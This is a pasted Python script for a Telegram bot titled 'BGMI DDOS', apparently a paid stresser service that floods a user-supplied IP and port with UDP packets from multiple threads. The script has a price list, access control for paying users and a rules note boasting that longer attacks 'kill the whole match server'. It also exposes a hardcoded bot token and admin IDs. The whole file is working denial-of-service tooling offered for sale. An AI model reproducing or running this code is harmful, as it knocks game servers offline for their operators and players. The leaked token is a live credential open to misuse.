[pycon] BGMI DDOS

Viewer

copydownloadembedprintName: BGMI DDOS
  1. import socket
  2. import random
  3. import threading
  4. import time
  5. import subprocess
  6. import requests
  7. import datetime
  8. import os
  9. import telebot
  10. from telebot import types
  11.  
  12. bot = telebot.TeleBot("6761908133:AAFFn2DRjiXs9NKrH2n4XPH4Q5tJY6qIAeI")
  13. admin_id = ["1866299978", "6002921103"]
  14. usrt = "sanchit.txt"
  15. LOG_FILE = "log.txt"
  16. paid_usr = []
  17.  
  18.  
  19. class UDPAmplificationAttack:
  20.     def __init__(self, target_ip, target_port, payload, packet_size=4096, num_threads=10):
  21.         self.target_ip = target_ip
  22.         self.target_port = target_port
  23.         self.payload = payload
  24.         self.packet_size = packet_size
  25.         self.num_threads = num_threads
  26.         self.counter = 0
  27.         self.running = False
  28.  
  29.     def send_packet(self):
  30.         while self.running:
  31.             try:
  32.                 spoofed_ip = self.random_ip()
  33.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  34.                 sock.sendto(self.payload, (self.target_ip, self.target_port))
  35.                 self.counter += 1
  36.                 print(f"Sent packet {self.counter} to {self.target_ip}")
  37.                 sock.close()
  38.             except Exception as e:
  39.                 print(f"Error: {e}")
  40.  
  41.     def random_ip(self):
  42.         return ".".join(str(random.randint(0, 255)) for _ in range(4))
  43.  
  44.     def start_attack(self, duration):
  45.         self.running = True
  46.         threads = []
  47.         for _ in range(self.num_threads):
  48.             thread = threading.Thread(target=self.send_packet)
  49.             thread.start()
  50.             threads.append(thread)
  51.  
  52.         print(f"Attack started for {duration} seconds with {self.num_threads} threads.")
  53.         time.sleep(duration)
  54.         self.stop_attack(threads)
  55.  
  56.     def stop_attack(self, threads):
  57.         self.running = False
  58.         for thread in threads:
  59.             thread.join()
  60.         print("Attack stopped.")
  61.         print(f"Total packets sent: {self.counter}")
  62.  
  63.  
  64. def logs_cmd(ukid, target, port, time):
  65.     usinfo = bot.get_chat(ukid)
  66.     if usinfo.username:
  67.         username = "@" + usinfo.username
  68.     else:
  69.         username = f"UserID: {ukid}"
  70.  
  71.     log_message = f"| UserID: {ukid} | Time: {datetime.datetime.now()} | Target: {target} | Port: {port} | Duration: {time} |"
  72.  
  73.     with open(LOG_FILE, "a") as file:
  74.         file.write(log_message + "\n")
  75.     
  76.     group_message = f"| UserID: {ukid}\n| Time: {datetime.datetime.now()} | Target: {target}\n| Port: {port}\n| Duration: {time}"
  77.     bot.send_message(admin_id, group_message)
  78.  
  79.  
  80. def clear_logs():
  81.     try:
  82.         with open(LOG_FILE, "r+") as file:
  83.             if file.read() == "":
  84.                 response = "Logs are already cleared. No data found ❌."
  85.             else:
  86.                 file.truncate(0)
  87.                 response = "Logs cleared successfully ✅"
  88.     except FileNotFoundError:
  89.         response = "No logs found to clear."
  90.     return response
  91.  
  92.  
  93. def record_command_logs(ukid, command, target=None, port=None, time=None):
  94.     log_entry = f"UserID: {ukid} | Time: {datetime.datetime.now()} | Command: {command}"
  95.     if target:
  96.         log_entry += f" | Target: {target}"
  97.     if port:
  98.         log_entry += f" | Port: {port}"
  99.     if time:
  100.         log_entry += f" | Time: {time}"
  101.  
  102.     with open(LOG_FILE, "a") as file:
  103.         file.write(log_entry + "\n")
  104.  
  105.  
  106. @bot.message_handler(commands=['add'])
  107. def add_user(message):
  108.     ukid = str(message.chat.id)
  109.     if ukid in admin_id:
  110.         command = message.text.split()
  111.         if len(command) > 1:
  112.             user_to_add = command[1]
  113.             if user_to_add not in paid_usr:
  114.                 paid_usr.append(user_to_add)
  115.                 with open(usrt, "a") as file:
  116.                     file.write(f"{user_to_add}\n")
  117.                 response = f"User {user_to_add} Added Successfully 👍."
  118.                 user_info = bot.get_chat(user_to_add)
  119.                 if user_info.username:
  120.                     username = "@" + user_info.username
  121.                 else:
  122.                     username = f"UserID: {user_to_add}"
  123.                 newinfo(admin_id, user_to_add, user_info.first_name, username)
  124.             else:
  125.                 response = "User already exists 🤦‍♂️."
  126.         else:
  127.             response = "Please specify a user ID to add 😒."
  128.     else:
  129.         response = "Only Admin Can Run This Command 😡."
  130.  
  131.     bot.reply_to(message, response)
  132.  
  133. @bot.message_handler(commands=['remove'])
  134. def remove_user(message):
  135.     ukid = str(message.chat.id)
  136.     if ukid in admin_id:
  137.         command = message.text.split()
  138.         if len(command) > 1:
  139.             user_to_remove = command[1]
  140.             if user_to_remove in paid_usr:
  141.                 paid_usr.remove(user_to_remove)
  142.                 with open(usrt, "w") as file:
  143.                     for ukid in paid_usr:
  144.                         file.write(f"{ukid}\n")
  145.                 response = f"User {user_to_remove} removed successfully 👍."
  146.             else:
  147.                 response = f"User {user_to_remove} not found in the list ❌."
  148.         else:
  149.             response = '''Please Specify A User ID to Remove. 
  150. ✅ Usage: /remove <userid>'''
  151.     else:
  152.         response = "Only Admin Can Run This Command 😡."
  153.  
  154.     bot.reply_to(message, response)
  155.  
  156.  
  157. @bot.message_handler(commands=['clearlogs'])
  158. def clear_logs_command(message):
  159.     ukid = str(message.chat.id)
  160.     if ukid in admin_id:
  161.         response = clear_logs()
  162.     else:
  163.         response = "Only Admin Can Run This Command 😡."
  164.     bot.reply_to(message, response)
  165.  
  166.  
  167. @bot.message_handler(commands=['allusers'])
  168. def show_all_users(message):
  169.     ukid = str(message.chat.id)
  170.     if ukid in admin_id:
  171.         try:
  172.             with open(usrt, "r") as file:
  173.                 ukids = file.read().splitlines()
  174.                 if ukids:
  175.                     response = "Authorized Users:\n"
  176.                     for ukid in ukids:
  177.                         try:
  178.                             usinfo = bot.get_chat(int(ukid))
  179.                             username = usinfo.username
  180.                             response += f"- @{username} (ID: {ukid})\n"
  181.                         except Exception as e:
  182.                             response += f"- User ID: {ukid}\n"
  183.                 else:
  184.                     response = "No data found ❌"
  185.         except FileNotFoundError:
  186.             response = "No data found ❌"
  187.     else:
  188.         response = "Only Admin Can Run This Command 😡."
  189.     bot.reply_to(message, response)
  190.  
  191.  
  192. @bot.message_handler(commands=['logs'])
  193. def show_recent_logs(message):
  194.     ukid = str(message.chat.id)
  195.     if ukid in admin_id:
  196.         if os.path.exists(LOG_FILE) and os.stat(LOG_FILE).st_size > 0:
  197.             try:
  198.                 with open(LOG_FILE, "rb") as file:
  199.                     bot.send_document(message.chat.id, file)
  200.             except FileNotFoundError:
  201.                 response = "No data found ❌."
  202.                 bot.reply_to(message, response)
  203.         else:
  204.             response = "No data found ❌"
  205.             bot.reply_to(message, response)
  206.     else:
  207.         response = "Only Admin Can Run This Command 😡."
  208.         bot.reply_to(message, response)
  209.  
  210.  
  211. @bot.message_handler(commands=['id'])
  212. def show_ukid(message):
  213.     ukid = str(message.chat.id)
  214.     response = f"🤖Your ID: {ukid}"
  215.     bot.reply_to(message, response)
  216.  
  217. @bot.message_handler(commands=['bgmi'])
  218. def handle_bgmi(message):
  219.     ukid = str(message.chat.id)
  220.     if ukid in paid_usr:
  221.         command = message.text.split()
  222.         if len(command) == 4:
  223.             target = command[1]
  224.             port = int(command[2])  
  225.             duration = int(command[3])
  226.             payload = b"\x00\x00" * 1024 
  227.             amplification_attack = UDPAmplificationAttack(target, port, payload)
  228.             response = f"BGMI Attack Started On {target}:{port} For {duration} Seconds."
  229.             amplification_attack.start_attack(duration)
  230.             response = f"BGMI Attack Done On {target}:{port} For {duration} Seconds."
  231.         else:
  232.             response = "✅ Usage :- /bgmi <target> <port> <time>"
  233.     else:
  234.         response = "❌ You Are Not Authorized To Use This Command ❌. Please Contact @X668F OR @Hackervipking To Get Access."
  235.     bot.reply_to(message, response)
  236.  
  237. @bot.message_handler(commands=['mylogs'])
  238. def show_command_logs(message):
  239.     ukid = str(message.chat.id)
  240.     if ukid in paid_usr:
  241.         try:
  242.             with open(LOG_FILE, "r") as file:
  243.                 command_logs = file.readlines()
  244.                 user_logs = [log for log in command_logs if f"UserID: {ukid}" in log]
  245.                 if user_logs:
  246.                     response = "Your Command Logs:\n" + "".join(user_logs)
  247.                 else:
  248.                     response = "❌ No Command Logs Found For You ❌."
  249.         except FileNotFoundError:
  250.             response = "No command logs found."
  251.     else:
  252.         response = "You Are Not Authorized To Use This Command😡."
  253.  
  254.     bot.reply_to(message, response)
  255.  
  256.  
  257. @bot.message_handler(commands=['help'])
  258. def show_help(message):
  259.     help_text ='''🤖 Available commands:
  260. 💥 /bgmi : Method For Bgmi Servers. 
  261. 💥 /rules : Please Check Before Use !!.
  262. 💥 /mylogs : To Check Your Recents Attacks.
  263. 💥 /plan : Checkout Our Botnet Rates.
  264.     /free ; to get free user credit
  265. 🤖 To See Admin Commands:
  266. 💥 /admincmd : Shows All Admin Commands.
  267.  
  268. Buy From :- @X668F OR @Hackervipking
  269. '''
  270.     for handler in bot.message_handlers:
  271.         if hasattr(handler, 'commands'):
  272.             if message.text.startswith('/help'):
  273.                 help_text += f"{handler.commands[0]}: {handler.doc}\n"
  274.             elif handler.doc and 'admin' in handler.doc.lower():
  275.                 continue
  276.             else:
  277.                 help_text += f"{handler.commands[0]}: {handler.doc}\n"
  278.     bot.reply_to(message, help_text)
  279.  
  280. @bot.message_handler(commands=['start'])
  281. def start(message):
  282.     bt = telebot.types.InlineKeyboardMarkup()
  283.     bt.row(types.InlineKeyboardButton("💙 𝙑𝙀𝙍𝙄𝙁𝙄𝙀𝘿 𝙇𝙊𝙊𝙏𝙎 ❤", url="https://t.me/+ulZjx9xbxdBmYmY1"))
  284.     bt.row(types.InlineKeyboardButton("❤ 𝙒𝙝𝙞𝙩𝙚𝙝𝙖𝙩", url="https://t.me/+ulZjx9xbxdBmYmY1"),types.InlineKeyboardButton("𝘽𝙡𝙖𝙘𝙠𝙝𝙖𝙩 💙", url="https://t.me/+sjyDBdFenE1kMmM1"))
  285.     user_id = message.from_user.id
  286.     uf = message.from_user.first_name    
  287.     bot.send_photo(user_id, "https://iili.io/JruRwge.md.jpg", caption=f"👋 Hey {uf}\n\n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\nWelcome To BGMI STRESSER BOT\n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n*See All Commands Use /help*...",parse_mode="markdown",reply_markup=bt)          
  288. def adminn(user_id, uf, username):
  289.     admin_id = "1866299978"
  290.     stat = 1
  291.     bot.send_message(admin_id, f"➕ <b>New User Notification</b> ➕\n\n👤<b>User:</b> <a href='tg://user?id={user_id}'>{uf}</a> {username}\n\n🆔<b> User ID :</b> <code>{user_id}</code>\n\n🌝 <b>Total User's Count: {stat}</b>",parse_mode="html", disable_web_page_preview=True)
  292.  
  293. @bot.message_handler(commands=['rules'])
  294. def welcome_rules(message):
  295.     user_name = message.from_user.first_name
  296.     response = f'''Note :- 80 Sec Is Enough If U Uses 180 Sec Attack Then It Can Kill The Whole Match Server In Plan !!\n\n@X668F'''
  297.     bot.reply_to(message, response)
  298.  
  299. @bot.message_handler(commands=['plan'])
  300. def welcome_plan(message):
  301.     user_name = message.from_user.first_name
  302.     response = f'''{user_name}, Brother Only 1 Plan Is Powerfull Then Any Other Ddos !:
  303.  
  304. Vip 🌟 :
  305. -> Attack Time : 80 (S)
  306. > After Attack Limit : No Limit (S)
  307. -> Concurrents Attack : 3
  308.  
  309. Price List💸 :
  310. Day-->600 Rs
  311. Week-->1100 Rs
  312. Month-->2000 Rs
  313.  
  314. Note :- 80 Sec Is Enough If U Uses 180 Sec Attack Then It Can Kill The Whole Match Server In Plan !!
  315. '''
  316.     bot.reply_to(message, response)
  317.  
  318. @bot.message_handler(commands=['admincmd'])
  319. def welcome_plan(message):
  320.     user_name = message.from_user.first_name
  321.     response = f'''{user_name}, Admin Commands Are Here!!:
  322.  
  323. 💥 /add <userId> : Add a User.
  324. 💥 /remove <userid> Remove a User.
  325. 💥 /allusers : Authorised Users Lists.
  326. 💥 /logs : All Users Logs.
  327. 💥 /broadcast : Broadcast a Message.
  328. 💥 /clearlogs : Clear The Logs File.
  329. '''
  330.     bot.reply_to(message, response)
  331.     
  332. def newinfo(admin_id, user_id, user_first_name, username):
  333.     try:
  334.         user_info = f"""
  335. New User Added:
  336. Name: {user_first_name}
  337. User: {username}
  338. User ID: {user_id}
  339.         """
  340.         bot.send_message(admin_id, user_info)
  341.     except Exception as e:
  342.         print(f"Error notifying admin and group about new user: {e}")
  343.  
  344. @bot.message_handler(commands=['broadcast'])
  345. def broad_msg(message):
  346.     ukid = str(message.chat.id)
  347.     if ukid in admin_id:
  348.         command = message.text.split(maxsplit=1)
  349.         if len(command) > 1:
  350.             message_to_broadcast = "⚠️ Message To All Users By Admin:\n\n" + command[1]
  351.             with open(usrt, "r") as file:
  352.                 ukids = file.read().splitlines()
  353.                 for ukid in ukids:
  354.                     try:
  355.                         bot.send_message(ukid, message_to_broadcast)
  356.                     except Exception as e:
  357.                         print(f"Failed to send broadcast message to user {ukid}: {str(e)}")
  358.             response = "Broadcast Message Sent Successfully To All Users 👍."
  359.         else:
  360.             response = "🤖 Please Provide A Message To Broadcast."
  361.     else:
  362.         response = "Only Admin Can Run This Command 😡."
  363.  
  364.     bot.reply_to(message, response)
  365.  
  366.  
  367. bot.polling(True)
  368.  

Editor

You can edit this paste and save as new:


File Description
  • BGMI DDOS
  • Paste Code
  • 08 May-2024
  • 13.44 Kb
You can Share it: